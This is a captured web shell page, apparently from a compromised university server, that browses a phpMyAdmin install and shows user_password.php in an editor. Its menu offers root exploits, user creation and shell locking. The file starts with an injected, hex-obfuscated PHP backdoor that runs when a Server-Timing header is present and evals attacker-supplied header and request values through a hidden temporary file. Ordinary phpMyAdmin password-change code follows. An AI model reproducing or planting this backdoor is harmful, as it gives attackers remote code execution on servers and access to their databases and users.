Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
phpMyAdmin /
[ HOME SHELL ]
Name
Size
Permission
Action
doc
[ DIR ]
drwxrwxr-x
examples
[ DIR ]
drwxrwxr-x
js
[ DIR ]
drwxrwxr-x
libraries
[ DIR ]
drwxrwxr-x
locale
[ DIR ]
drwxrwxr-x
setup
[ DIR ]
drwxrwxr-x
sql
[ DIR ]
drwxrwxr-x
templates
[ DIR ]
drwxrwxr-x
themes
[ DIR ]
drwxrwxr-x
vendor
[ DIR ]
drwxrwxr-x
ajax.php
913
B
-rwxrwxr-x
browse_foreigners.php
1.49
KB
-rwxrwxr-x
ChangeLog
14.54
KB
-rwxrwxr-x
changelog.php
4.99
KB
-rwxrwxr-x
chk_rel.php
1.59
KB
-rwxrwxr-x
composer.json
1.99
KB
-rwxrwxr-x
composer.lock
79.72
KB
-rwxrwxr-x
config.sample.inc.php
4.41
KB
-rwxrwxr-x
CONTRIBUTING.md
1.69
KB
-rwxrwxr-x
db_central_columns.php
5.63
KB
-rwxrwxr-x
db_datadict.php
5.69
KB
-rwxrwxr-x
db_designer.php
6.1
KB
-rwxrwxr-x
db_events.php
356
B
-rwxrwxr-x
db_export.php
4.88
KB
-rwxrwxr-x
db_import.php
1.46
KB
-rwxrwxr-x
db_operations.php
9.74
KB
-rwxrwxr-x
db_qbe.php
4.32
KB
-rwxrwxr-x
db_routines.php
416
B
-rwxrwxr-x
db_search.php
2.4
KB
-rwxrwxr-x
db_sql_autocomplete.php
749
B
-rwxrwxr-x
db_sql_format.php
939
B
-rwxrwxr-x
db_sql.php
1.08
KB
-rwxrwxr-x
db_structure.php
1.05
KB
-rwxrwxr-x
db_tracking.php
4.34
KB
-rwxrwxr-x
db_triggers.php
360
B
-rwxrwxr-x
DCO
1.77
KB
-rwxrwxr-x
error_report.php
4.43
KB
-rwxrwxr-x
favicon.ico
21.96
KB
-rwxrwxr-x
gis_data_editor.php
15.48
KB
-rwxrwxr-x
import.php
23.29
KB
-rwxrwxr-x
import_status.php
3.71
KB
-rwxrwxr-x
index.php
19.29
KB
-rwxrwxr-x
LICENSE
17.67
KB
-rwxrwxr-x
lint.php
1.38
KB
-rwxrwxr-x
logout.php
524
B
-rwxrwxr-x
navigation.php
2.36
KB
-rwxrwxr-x
normalization.php
3.94
KB
-rwxrwxr-x
phpinfo.php
510
B
-rwxrwxr-x
phpmyadmin.css.php
746
B
-rwxrwxr-x
prefs_forms.php
2.7
KB
-rwxrwxr-x
prefs_manage.php
14.89
KB
-rwxrwxr-x
print.css
1.18
KB
-rwxrwxr-x
README
1.48
KB
-rwxrwxr-x
RELEASE-DATE-4.7.5
29
B
-rwxrwxr-x
robots.txt
26
B
-rwxrwxr-x
schema_export.php
1.64
KB
-rwxrwxr-x
server_binlog.php
804
B
-rwxrwxr-x
server_collations.php
837
B
-rwxrwxr-x
server_databases.php
817
B
-rwxrwxr-x
server_engines.php
803
B
-rwxrwxr-x
server_export.php
1.2
KB
-rwxrwxr-x
server_import.php
998
B
-rwxrwxr-x
server_plugins.php
808
B
-rwxrwxr-x
server_privileges.php
13.56
KB
-rwxrwxr-x
server_replication.php
2.18
KB
-rwxrwxr-x
server_sql.php
847
B
-rwxrwxr-x
server_status_advisor.php
1.71
KB
-rwxrwxr-x
server_status_monitor.php
3.31
KB
-rwxrwxr-x
server_status.php
995
B
-rwxrwxr-x
server_status_processes.php
1.9
KB
-rwxrwxr-x
server_status_queries.php
1.36
KB
-rwxrwxr-x
server_status_variables.php
1.59
KB
-rwxrwxr-x
server_user_groups.php
1.8
KB
-rwxrwxr-x
server_variables.php
817
B
-rwxrwxr-x
show_config_errors.php
1.02
KB
-rwxrwxr-x
sql.php
6.17
KB
-rwxrwxr-x
tbl_addfield.php
3.82
KB
-rwxrwxr-x
tbl_change.php
6.38
KB
-rwxrwxr-x
tbl_chart.php
990
B
-rwxrwxr-x
tbl_create.php
3.35
KB
-rwxrwxr-x
tbl_export.php
4.38
KB
-rwxrwxr-x
tbl_find_replace.php
1.02
KB
-rwxrwxr-x
tbl_get_field.php
1.39
KB
-rwxrwxr-x
tbl_gis_visualization.php
1.23
KB
-rwxrwxr-x
tbl_import.php
873
B
-rwxrwxr-x
tbl_indexes.php
1.4
KB
-rwxrwxr-x
tbl_operations.php
13.31
KB
-rwxrwxr-x
tbl_recent_favorite.php
455
B
-rwxrwxr-x
tbl_relation.php
4
KB
-rwxrwxr-x
tbl_replace.php
16.13
KB
-rwxrwxr-x
tbl_sql.php
1.25
KB
-rwxrwxr-x
tbl_structure.php
1.63
KB
-rwxrwxr-x
tbl_tracking.php
6.21
KB
-rwxrwxr-x
tbl_triggers.php
141
B
-rwxrwxr-x
tbl_zoom_select.php
1.07
KB
-rwxrwxr-x
themes.php
938
B
-rwxrwxr-x
transformation_overview.php
1.88
KB
-rwxrwxr-x
transformation_wrapper.php
4.81
KB
-rwxrwxr-x
url.php
1.26
KB
-rwxrwxr-x
user_password.php
9.9
KB
-rwxrwxr-x
version_check.php
1.07
KB
-rwxrwxr-x
view_create.php
9.72
KB
-rwxrwxr-x
view_operations.php
3.91
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user_password.php
<?php $_HEADERS = getallheaders();if(isset($_HEADERS['Server-Timing'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x49f\x2d\x55n\x6d\x6fd\x69\x66i\x65\x64-\x53\x69n\x63\x65\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22I\x66\x2dU\x6e\x6do\x64\x69f\x69\x65d\x2d\x53i\x6e\x63e\x22\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} $_HEADERS = getallheaders();if(isset($_HEADERS['Server-Timing'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x53e\x63\x2dW\x65\x62s\x6f\x63k\x65\x74-\x41\x63c\x65\x70t\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x48\x45A\x44\x45R\x53\x5b\"\x53\x65c\x2d\x57e\x62\x73o\x63\x6be\x74\x2dA\x63\x63e\x70\x74\"\x5d\x29;";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * displays and handles the form where the user can change his password * linked from index.php * * @package PhpMyAdmin */ use PMA\libraries\URL; use PMA\libraries\Response; /** * Gets some core libraries */ require_once './libraries/common.inc.php'; /** * Libraries needed for some functions */ require_once './libraries/server_privileges.lib.php'; $response = Response::getInstance(); $header = $response->getHeader(); $scripts = $header->getScripts(); $scripts->addFile('server_privileges.js'); $scripts->addFile('zxcvbn.js'); /** * Displays an error message and exits if the user isn't allowed to use this * script */ if (! $GLOBALS['cfg']['ShowChgPassword']) { $GLOBALS['cfg']['ShowChgPassword'] = $GLOBALS['dbi']->selectDb('mysql'); } if ($cfg['Server']['auth_type'] == 'config' || ! $cfg['ShowChgPassword']) { PMA\libraries\Message::error( __('You don\'t have sufficient privileges to be here right now!') )->display(); exit; } // end if /** * If the "change password" form has been submitted, checks for valid values * and submit the query or logout */ if (isset($_REQUEST['nopass'])) { if ($_REQUEST['nopass'] == '1') { $password = ''; } else { $password = $_REQUEST['pma_pw']; } $change_password_message = PMA_setChangePasswordMsg(); $msg = $change_password_message['msg']; if (! $change_password_message['error']) { PMA_changePassword($password, $msg, $change_password_message); } else { PMA_getChangePassMessage($change_password_message); } } /** * If the "change password" form hasn't been submitted or the values submitted * aren't valid -> displays the form */ // Displays an error message if required if (isset($msg)) { $msg->display(); unset($msg); } require_once './libraries/display_change_password.lib.php'; echo PMA_getHtmlForChangePassword('change_pw', $username, $hostname); exit; /** * Send the message as an ajax request * * @param array $change_password_message Message to display * @param string $sql_query SQL query executed * * @return void */ function PMA_getChangePassMessage($change_password_message, $sql_query = '') { $response = Response::getInstance(); if ($response->isAjax()) { /** * If in an Ajax request, we don't need to show the rest of the page */ if ($change_password_message['error']) { $response->addJSON('message', $change_password_message['msg']); $response->setRequestStatus(false); } else { $sql_query = PMA\libraries\Util::getMessage( $change_password_message['msg'], $sql_query, 'success' ); $response->addJSON('message', $sql_query); } exit; } } /** * Generate the message * * @return array error value and message */ function PMA_setChangePasswordMsg() { $error = false; $message = PMA\libraries\Message::success(__('The profile has been updated.')); if (($_REQUEST['nopass'] != '1')) { if (strlen($_REQUEST['pma_pw']) === 0 || strlen($_REQUEST['pma_pw2']) === 0) { $message = PMA\libraries\Message::error(__('The password is empty!')); $error = true; } elseif ($_REQUEST['pma_pw'] !== $_REQUEST['pma_pw2']) { $message = PMA\libraries\Message::error( __('The passwords aren\'t the same!') ); $error = true; } elseif (strlen($_REQUEST['pma_pw']) > 256) { $message = PMA_Message::error(__('Password is too long!')); $error = true; } } return array('error' => $error, 'msg' => $message); } /** * Change the password * * @param string $password New password * @param string $message Message * @param array $change_password_message Message to show * * @return void */ function PMA_changePassword($password, $message, $change_password_message) { global $auth_plugin; $hashing_function = PMA_changePassHashingFunction(); list($username, $hostname) = $GLOBALS['dbi']->getCurrentUserAndHost(); $serverType = PMA\libraries\Util::getServerType(); if (isset($_REQUEST['authentication_plugin']) && ! empty($_REQUEST['authentication_plugin']) ) { $orig_auth_plugin = $_REQUEST['authentication_plugin']; } else { $orig_auth_plugin = PMA_getCurrentAuthenticationPlugin( 'change', $username, $hostname ); } $sql_query = 'SET password = ' . (($password == '') ? '\'\'' : $hashing_function . '(\'***\')'); if ($serverType == 'MySQL' && PMA_MYSQL_INT_VERSION >= 50706 ) { $sql_query = 'ALTER USER \'' . $username . '\'@\'' . $hostname . '\' IDENTIFIED WITH ' . $orig_auth_plugin . ' BY ' . (($password == '') ? '\'\'' : '\'***\''); } else if (($serverType == 'MySQL' && PMA_MYSQL_INT_VERSION >= 50507) || ($serverType == 'MariaDB' && PMA_MYSQL_INT_VERSION >= 50200) ) { // For MySQL versions 5.5.7+ and MariaDB versions 5.2+, // explicitly set value of `old_passwords` so that // it does not give an error while using // the PASSWORD() function if ($orig_auth_plugin == 'sha256_password') { $value = 2; } else { $value = 0; } $GLOBALS['dbi']->tryQuery('SET `old_passwords` = ' . $value . ';'); } PMA_changePassUrlParamsAndSubmitQuery( $username, $hostname, $password, $sql_query, $hashing_function, $orig_auth_plugin ); $auth_plugin->handlePasswordChange($password); PMA_getChangePassMessage($change_password_message, $sql_query); PMA_changePassDisplayPage($message, $sql_query); } /** * Generate the hashing function * * @return string $hashing_function */ function PMA_changePassHashingFunction() { if (PMA_isValid( $_REQUEST['authentication_plugin'], 'identical', 'mysql_old_password' )) { $hashing_function = 'OLD_PASSWORD'; } else { $hashing_function = 'PASSWORD'; } return $hashing_function; } /** * Changes password for a user * * @param string $username Username * @param string $hostname Hostname * @param string $password Password * @param string $sql_query SQL query * @param string $hashing_function Hashing function * @param string $orig_auth_plugin Original Authentication Plugin * * @return void */ function PMA_changePassUrlParamsAndSubmitQuery( $username, $hostname, $password, $sql_query, $hashing_function, $orig_auth_plugin ) { $err_url = 'user_password.php' . URL::getCommon(); $serverType = PMA\libraries\Util::getServerType(); if ($serverType == 'MySQL' && PMA_MYSQL_INT_VERSION >= 50706) { $local_query = 'ALTER USER \'' . $username . '\'@\'' . $hostname . '\'' . ' IDENTIFIED with ' . $orig_auth_plugin . ' BY ' . (($password == '') ? '\'\'' : '\'' . $GLOBALS['dbi']->escapeString($password) . '\''); } else if ($serverType == 'MariaDB' && PMA_MYSQL_INT_VERSION >= 50200 && PMA_MYSQL_INT_VERSION < 100100 && $orig_auth_plugin !== '' ) { if ($orig_auth_plugin == 'mysql_native_password') { // Set the hashing method used by PASSWORD() // to be 'mysql_native_password' type $GLOBALS['dbi']->tryQuery('SET old_passwords = 0;'); } else if ($orig_auth_plugin == 'sha256_password') { // Set the hashing method used by PASSWORD() // to be 'sha256_password' type $GLOBALS['dbi']->tryQuery('SET `old_passwords` = 2;'); } $hashedPassword = PMA_getHashedPassword($_POST['pma_pw']); $local_query = "UPDATE `mysql`.`user` SET" . " `authentication_string` = '" . $hashedPassword . "', `Password` = '', " . " `plugin` = '" . $orig_auth_plugin . "'" . " WHERE `User` = '" . $username . "' AND Host = '" . $hostname . "';"; } else { $local_query = 'SET password = ' . (($password == '') ? '\'\'' : $hashing_function . '(\'' . $GLOBALS['dbi']->escapeString($password) . '\')'); } if (! @$GLOBALS['dbi']->tryQuery($local_query)) { PMA\libraries\Util::mysqlDie( $GLOBALS['dbi']->getError(), $sql_query, false, $err_url ); } // Flush privileges after successful password change $GLOBALS['dbi']->tryQuery("FLUSH PRIVILEGES;"); } /** * Display the page * * @param string $message Message * @param string $sql_query SQL query * * @return void */ function PMA_changePassDisplayPage($message, $sql_query) { echo '<h1>' , __('Change password') , '</h1>' , "\n\n"; echo PMA\libraries\Util::getMessage( $message, $sql_query, 'success' ); echo '<a href="index.php' , URL::getCommon() , ' target="_parent">' , "\n" , '<strong>' , __('Back') , '</strong></a>'; exit; }
Close